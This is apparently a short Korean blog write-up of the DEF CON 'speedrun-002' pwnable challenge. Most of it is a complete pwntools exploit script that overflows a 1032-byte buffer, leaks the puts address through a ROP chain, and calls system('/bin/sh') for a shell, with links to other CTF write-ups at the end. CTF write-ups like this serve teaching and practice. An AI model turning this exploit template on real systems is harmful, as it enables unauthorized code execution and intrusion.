일단 ROP 문제이다
ROP 하라고 친절하게 plt,got 준다.
일단 puts 로 릭한다음에 원가젯으로 박살내면 된다.
일단 서버가 데프콘 서버가 아니라서 맞는 libc 가 아니라 실제 offset 이 틀리다.
이점 감안하고 익스를 봐야된다.
libc 확인하는법은 마지막 12비트는 검색하면 맞는 libc 가 나온다.
최종 익스플로잇은
from pwn import *
p = process("speedrun-002")
binf = ELF("speedrun-002")
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)
#addr_read_got = binf.got['read']
#addr_read_plt = binf.plt['read']
#addr_write_got = binf.got['write']
#addr_write_plt = binf.plt['write']
addr_bss = binf.bss()
addr_puts_got = binf.got['puts']
addr_puts_plt = binf.plt['puts']
addr_pr = 0x004008a3
addr_main = 0x4007CE
system_offset = 0x2a300
binsh_offset = 0x1479c7
p.recvuntil("?\n")
p.sendline("Everything intelligent is so boring.")
p.recvuntil("Tell me more.\n")
payload = "A"*1032
payload += p64(addr_pr)
payload += p64(addr_puts_got)
payload += p64(addr_puts_plt)
payload += p64(addr_main)
p.send(payload)
p.recvline()
addr_leak = u64(p.recv(6).ljust(8, '\x00'))
addr_libc_system = addr_leak - system_offset
addr_libc_binsh = addr_libc_system + binsh_offset
log.info("leak addr :" + hex(addr_leak))
log.info("libc_system :" + hex(addr_libc_system))
log.info("libc_binsh :" + hex(addr_libc_binsh))
p.recvuntil("?\n")
p.sendline("Everything intelligent is so boring.")
p.recvuntil("Tell me more.\n")
payload = "A"*1032
payload += p64(addr_pr)
payload += p64(addr_libc_binsh)
payload += p64(addr_libc_system)
p.send(payload)
p.interactive()
이런식으로 진행했다.
'CTF > Defcon' 카테고리의 다른 글
Defcon pwnable_speedrun-001 Write up (0) | 2019.10.23 |
---|---|
Defcon pwnable_r0pbaby Write up (0) | 2019.10.20 |
PlaidCTF pwnable_ropasaurusrex Write up (0) | 2019.10.20 |